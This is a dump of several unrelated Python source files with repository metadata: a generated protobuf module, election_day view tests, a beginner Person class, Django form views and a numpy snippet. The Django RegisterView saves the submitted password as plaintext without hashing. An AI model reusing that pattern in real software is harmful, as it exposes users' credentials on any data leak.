file=DESCRIPTOR), _descriptor.FieldDescriptor( name='admins', full_name='CreateTask.admins', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='owners', full_name='CreateTask.owners', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='metadata', full_name='CreateTask.metadata', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_CREATETASK_METADATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=477, serialized_end=646, ) _PROPOSEADDTASKOWNER_METADATAENTRY.containing_type = _PROPOSEADDTASKOWNER _PROPOSEADDTASKOWNER.fields_by_name['metadata'].message_type = _PROPOSEADDTASKOWNER_METADATAENTRY _PROPOSEADDTASKADMIN_METADATAENTRY.containing_type = _PROPOSEADDTASKADMIN _PROPOSEADDTASKADMIN.fields_by_name['metadata'].message_type = _PROPOSEADDTASKADMIN_METADATAENTRY _CREATETASK_METADATAENTRY.containing_type = _CREATETASK _CREATETASK.fields_by_name['metadata'].message_type = _CREATETASK_METADATAENTRY DESCRIPTOR.message_types_by_name['ProposeAddTaskOwner'] = _PROPOSEADDTASKOWNER DESCRIPTOR.message_types_by_name['ProposeAddTaskAdmin'] = _PROPOSEADDTASKADMIN DESCRIPTOR.message_types_by_name['CreateTask'] = _CREATETASK _sym_db.RegisterFileDescriptor(DESCRIPTOR) ProposeAddTaskOwner = _reflection.GeneratedProtocolMessageType('ProposeAddTaskOwner', (_message.Message,), dict( MetadataEntry = _reflection.GeneratedProtocolMessageType('MetadataEntry', (_message.Message,), dict( DESCRIPTOR = _PROPOSEADDTASKOWNER_METADATAENTRY, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:ProposeAddTaskOwner.MetadataEntry) )) , DESCRIPTOR = _PROPOSEADDTASKOWNER, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:ProposeAddTaskOwner) )) _sym_db.RegisterMessage(ProposeAddTaskOwner) _sym_db.RegisterMessage(ProposeAddTaskOwner.MetadataEntry) ProposeAddTaskAdmin = _reflection.GeneratedProtocolMessageType('ProposeAddTaskAdmin', (_message.Message,), dict( MetadataEntry = _reflection.GeneratedProtocolMessageType('MetadataEntry', (_message.Message,), dict( DESCRIPTOR = _PROPOSEADDTASKADMIN_METADATAENTRY, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:ProposeAddTaskAdmin.MetadataEntry) )) , DESCRIPTOR = _PROPOSEADDTASKADMIN, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:ProposeAddTaskAdmin) )) _sym_db.RegisterMessage(ProposeAddTaskAdmin) _sym_db.RegisterMessage(ProposeAddTaskAdmin.MetadataEntry) CreateTask = _reflection.GeneratedProtocolMessageType('CreateTask', (_message.Message,), dict( MetadataEntry = _reflection.GeneratedProtocolMessageType('MetadataEntry', (_message.Message,), dict( DESCRIPTOR = _CREATETASK_METADATAENTRY, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:CreateTask.MetadataEntry) )) , DESCRIPTOR = _CREATETASK, __module__ = 'task_transaction_pb2' # @@protoc_insertion_point(class_scope:CreateTask) )) _sym_db.RegisterMessage(CreateTask) _sym_db.RegisterMessage(CreateTask.MetadataEntry) _PROPOSEADDTASKOWNER_METADATAENTRY._options = None _PROPOSEADDTASKADMIN_METADATAENTRY._options = None _CREATETASK_METADATAENTRY._options = None # @@protoc_insertion_point(module_scope)
40.607692
1,242
0.744522
84855b06edbce47be8be019a1c35ca3de52b1118
4,773
py
Python
tests/onegov/election_day/views/test_views_vote.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/views/test_views_vote.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/views/test_views_vote.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import pytest from freezegun import freeze_time from tests.onegov.election_day.common import login from tests.onegov.election_day.common import upload_complex_vote from tests.onegov.election_day.common import upload_vote from webtest import TestApp as Client def test_view_vote_redirect(election_day_app): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) upload_vote(client) upload_complex_vote(client) response = client.get('/vote/vote') assert response.status == '302 Found' assert 'vote/vote/entities' in response.headers['Location'] response = client.get('/vote/complex-vote') assert response.status == '302 Found' assert 'complex-vote/proposal-entities' in response.headers['Location'] def test_view_vote_entities(election_day_app): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) upload_vote(client) upload_complex_vote(client) for view in ( 'vote/entities', 'complex-vote/proposal-entities', 'complex-vote/counter-proposal-entities', 'complex-vote/tie-breaker-entities' ): response = client.get(f'/vote/{view}') assert 'Walchwil' in response assert '46.70' in response assert '37.21' in response data_url = response.pyquery('.entities-map')[0].attrib['data-dataurl'] assert data_url.endswith('/by-entity') assert client.get(data_url).json['1701']['counted'] is True url = response.pyquery('.entities-map')[0].attrib['data-embed-source'] assert data_url in client.get(url).follow() def test_view_vote_districts(election_day_app_gr): client = Client(election_day_app_gr) client.get('/locale/de_CH').follow() login(client) upload_vote(client, canton='gr') upload_complex_vote(client, canton='gr') for view in ( 'vote/districts', 'complex-vote/proposal-districts', 'complex-vote/counter-proposal-districts', 'complex-vote/tie-breaker-districts' ): response = client.get(f'/vote/{view}') assert 'Landquart' in response assert '37.37' in response data_url = response.pyquery('.districts-map')[0].attrib['data-dataurl'] assert data_url.endswith('/by-district') assert client.get(data_url).json['Landquart']['counted'] is False url = response.pyquery('.districts-map')[0].attrib['data-embed-source'] assert data_url in client.get(url).follow() def test_view_vote_json(election_day_app): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) upload_vote(client) response = client.get('/vote/vote/json') assert response.headers['Access-Control-Allow-Origin'] == '*' assert all((expected in str(response.json) for expected in ( "Zug", "Cham", "599", "1711", "80" ))) def test_view_vote_summary(election_day_app): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) with freeze_time("2014-01-01 12:00"): upload_vote(client) response = client.get('/vote/vote/summary') assert response.headers['Access-Control-Allow-Origin'] == '*' assert response.json == { 'answer': 'rejected', 'completed': True, 'date': '2015-01-01', 'domain': 'federation', 'last_modified': '2014-01-01T12:00:00+00:00', 'nays_percentage': 62.78808066258552, 'progress': {'counted': 11.0, 'total': 11.0}, 'title': {'de_CH': 'Vote'}, 'type': 'vote', 'url': 'http://localhost/vote/vote', 'yeas_percentage': 37.21191933741448, 'turnout': 61.34161218251847 } def test_view_vote_data(election_day_app): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) upload_vote(client) export = client.get('/vote/vote/data-json') assert all((expected in export for expected in ("1711", "Zug", "16516"))) export = client.get('/vote/vote/data-csv') assert all((expected in export for expected in ("1711", "Zug", "16516"))) @pytest.mark.parametrize('url,', [ 'proposal-by-entities-table', 'counter-proposal-by-entities-table', 'proposal-by-districts-table', 'counter-proposal-by-districts-table', 'tie-breaker-by-entities-table', 'tie-breaker-by-districts-table', 'vote-header-widget' ]) def test_views_vote_embedded_widgets(election_day_app, url): client = Client(election_day_app) client.get('/locale/de_CH').follow() login(client) upload_complex_vote(client) client.get(f'/vote/complex-vote/{url}')
31.196078
79
0.655982
04d162a965363ad1f9b1f69b2924edb8d9d1c0f1
283
py
Python
pages/themes/beginners/OOP/examples/simple_Person_class.py
ProgressBG-Python-Course/ProgressBG-Python
6429833696c2c50d9f902f62cc3a65ca62659c69
[ "MIT" ]
null
null
null
pages/themes/beginners/OOP/examples/simple_Person_class.py
ProgressBG-Python-Course/ProgressBG-Python
6429833696c2c50d9f902f62cc3a65ca62659c69
[ "MIT" ]
null
null
null
pages/themes/beginners/OOP/examples/simple_Person_class.py
ProgressBG-Python-Course/ProgressBG-Python
6429833696c2c50d9f902f62cc3a65ca62659c69
[ "MIT" ]
null
null
null
class Person: def __init__(self, name, age): self.name = name self.age = age def greet(self): print("Hi there! I'm {}, {} years old!".format(self.name, self.age)) maria = Person("Maria Popova", 25) pesho = Person("Pesho", 27) print(maria) # name = Maria Popova # age = 25
18.866667
70
0.64311
b6f04046105866524e6719bf5bc6e1a8bd60e864
1,703
py
Python
nz_django/day6/form_demo2/front/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_django/day6/form_demo2/front/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_django/day6/form_demo2/front/views.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from django.shortcuts import render from django.http import HttpResponse from django.views import View from .forms import Myform,RegisterForm from .models import User class IndexView(View): def get(self,request): form = Myform() return render(request,'index.html',context={'form':form}) def post(self,request): form = Myform(request.POST) if form.is_valid(): email = form.cleaned_data.get('email') telephone = form.cleaned_data.get('telephone') website = form.cleaned_data.get('website') return HttpResponse('ok') else: print(form.errors.get_json_data()) return HttpResponse('fail') class RegisterView(View): def get(self,request): form = RegisterForm() return render(request,'signup.html',context={'form':form}) def post(self,request): form = RegisterForm(request.POST) if form.is_valid(): username = form.cleaned_data.get('username') telephone = form.cleaned_data.get('telephone') password = form.cleaned_data.get('pwd1') User.objects.create(username=username,telephone=telephone,password=password) return HttpResponse('ok') else: # print(form.errors.get_json_data()) print(form.get_errors()) #错误信息 #{'username': [{'message': 'Ensure this value has at least 6 characters (it has 4).', 'code': 'min_length'}], 'telephone': [{'message': '18777777777已经被注册', 'code': ''}], '__all__': [{'message': '两次密码输入不一致', 'code': ''}]} #{'username':['手机号已经存在','手机号不符合要求'],'telephone':[]} return HttpResponse('fail')
43.666667
232
0.613623
f3eb9e0918ed5ee8a6b0396f20b35e80d396d9e4
54
py
Python
DataProcess/utils/test.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
DataProcess/utils/test.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
DataProcess/utils/test.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
import numpy as np a = [1, 2, 3, 4, 5] print(a[-3:])
10.8
19
0.518519